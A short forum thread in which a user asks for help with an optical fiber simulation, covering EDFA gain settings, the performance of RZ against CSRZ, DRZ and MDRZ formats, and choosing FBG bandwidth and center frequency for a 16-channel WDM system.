Hi
Thanks everyone.But in this simulation face to another problem.When set EDFA operation mode change in gain control to 10dB, Q factor are shows 0.Please help me to find this problem.

Hi
Thanks everyone for share this information.But in post and pre dispersion compensation schemes RZ format perform better than CSRZ DRZ and MDRZ. Is it possible?

Thanks for your reply.
Set the parameter as you say “set the FBG BW around 20THz and change the center freq. of FBG to 193.1”.I get the desired result.
But how can i understand which BW and center frequency for 16 channels ?
could you give me please any formula how can i set BW and center frequency per channels in WDM system ?
